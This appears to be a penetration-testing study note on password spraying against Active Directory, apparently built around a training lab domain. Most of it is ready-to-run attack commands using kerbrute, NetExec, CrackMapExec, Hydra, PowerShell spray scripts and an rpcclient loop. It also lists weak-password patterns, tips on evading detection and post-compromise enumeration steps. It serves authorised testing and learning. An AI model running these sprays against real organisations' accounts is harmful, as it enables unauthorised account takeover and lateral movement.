Spraying flips brute-force on its head: one password, many accounts. The goal is to find weak reused credentials without tripping lockout thresholds.
Before you spray
Always pull the domain password policy first (
net accounts /domain,crackmapexec smb <DC> --pass-pol, orrpcclient -U "" -N -c "getdompwinfo"). Know theLockout Threshold,Observation Window, andReset Durationbefore firing a single request.
When Spraying Is Safe
- Lockout threshold of
0means no lockout, spray freely. - Threshold of
N: keep attempts per account toN-1within the observation window. - Pace rounds to run once per observation window (typically 30 min).
- Avoid spraying the built-in
Administratordomain account unless using local auth. - Never spray during business-critical windows unless scoped — lockouts cause real pain.
Picking the Password List
Start with patterns that match the organization. Humans are predictable.
| Pattern | Examples |
|---|---|
| Season + Year | Spring2025, Summer2025!, Fall24 |
| Company + Numbers | Inlanefreight1, Company123, Acme2024! |
| Classic defaults | Welcome1, Welcome123, Password1, Password1!, Changeme123 |
| Keyboard walks | Qwerty123!, 1qaz!QAZ, Zaq12wsx |
| Month + Year | January2025, October24! |
Build the user list first
Extract valid usernames via
kerbrute userenum, RID cycling (lookupsids), or--userswith any low-priv creds. A bad user list wastes attempts and generates4625noise without signal.
Kerbrute (Pre-Auth, Quiet-ish)
Kerbrute abuses Kerberos pre-authentication — no full logon, so it generates 4768/4771 events instead of 4625, and fails against valid users do not increment badPwdCount on all DCs the same way.
kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 users.txt 'Welcome1'
kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 users.txt 'Spring2025!' -o spray.logCrackMapExec / NetExec (SMB)
NetExec is the maintained fork — same syntax, newer features.
# SMB spray, keep going past valid hits
netexec smb 172.16.5.5 -u users.txt -p 'Welcome1' --continue-on-success | grep '[+]'
crackmapexec smb 172.16.5.5 -u users.txt -p 'Welcome1' --continue-on-success | grep '+'
# Validate a single hit without hammering further
netexec smb 172.16.5.5 -u 'jdoe' -p 'Welcome1'Always use --continue-on-success for sprays
Without it the tool stops on the first success and you miss the rest. But never omit the lockout math — one careless
-pagainst every domain user with the wrong threshold will nuke the environment.
Local Admin Spraying
Hash or password reuse across endpoints is a lateral-movement goldmine. --local-auth scopes the attempt to the local SAM, so no domain lockout risk.
netexec smb 172.16.5.0/23 --local-auth -u administrator -H <NTLM> | grep '+'
netexec smb 172.16.5.0/23 --local-auth -u administrator -p 'Winter2024!' | grep '+'Spraying Other Protocols
SMB spraying is the loudest option. Pivot to protocols with weaker detections when SMB is watched.
# LDAP — Kerberos pre-auth failures land as 4771
netexec ldap 172.16.5.5 -u users.txt -p 'Welcome1' --continue-on-success
# WinRM — 5985/5986, useful since successful hits mean shell access
netexec winrm 172.16.5.5 -u users.txt -p 'Welcome1' --continue-on-success
# MSSQL — 1433, catches DBA reuse
netexec mssql 172.16.5.10 -u users.txt -p 'Welcome1' --continue-on-success
# RDP — slow but often less monitored
netexec rdp 172.16.5.0/24 -u users.txt -p 'Welcome1' --continue-on-success
# SMTP — external perimeter spraying (OWA/O365 territory)
hydra -L users.txt -p 'Welcome1' smtp://mail.target.comFrom a Windows Foothold
DomainPasswordSpray.ps1
Auto-pulls the user list from the DC and respects the lockout policy by default.
Import-Module .\DomainPasswordSpray.ps1
# Full auto — generates user list, honors policy
Invoke-DomainPasswordSpray -Password 'Welcome1' -OutFile spray_hits.txt
# Custom list, explicit domain, avoid known-disabled accounts
Invoke-DomainPasswordSpray -UserList users.txt -Password 'Spring2025!' -Domain inlanefreight.local -OutFile spray_hits.txtSpray-Passwords.ps1
Handy when you need multiple passwords interleaved per round.
.\Spray-Passwords.ps1 -Pass 'Welcome1' -Admin
.\Spray-Passwords.ps1 -File passwords.txtBash One-Liner (No Toolkit)
Minimal footprint when all you have is rpcclient.
for u in $(cat users.txt); do
rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 2>/dev/null | grep Authority
doneAvoiding Lockout — Checklist
- Pulled
--pass-poland recordedThreshold,Window,Reset. - User list filtered for disabled/expired accounts (
badPwdCountalready high = skip). - One password per round, max.
- Round interval ≥
Observation Window(default 30 min when unset). - Skipped
krbtgt,guest, service accounts withDONT_EXPIRE_PASSWORDif sensitive. - Logged every attempt — if lockouts happen, you need the timeline.
- Separate bucket for
Administrator(never spray against domain; use--local-authonly).
Detection footprint
SMB sprays generate
4625per attempt on the DC. LDAP sprays surface as4771(Kerberos pre-auth failed). High volume of either across many unique accounts in a short window is the canonical IOC — pace accordingly.
After a Hit
- Validate with
netexec smb <DC> -u <user> -p <pass>(single attempt). - Pull groups:
netexec smb <DC> -u <user> -p <pass> --groups --loggedon-users. - Feed into BloodHound:
bloodhound-python -u <user> -p <pass> -d <domain> -ns <DC> -c All. - Check for local admin reuse:
netexec smb <subnet> -u <user> -p <pass>and look for(Pwn3d!).
Related
- 19 · Active Directory Enumeration & Attacks — module index
- 00 · Cheatsheet & Checklist
- AD Fundamentals
- Core Protocols
- External Recon & Initial Enumeration
- LLMNR & NBT-NS Poisoning
- Password Policy & User Lists
- Credentialed Enumeration (Linux)
- Credentialed Enumeration (Windows)
- Kerberoasting & AS-REP Roasting
- ACL Abuse
- Lateral Movement & Attacks
- Trust Abuse
- Hardening & Detection
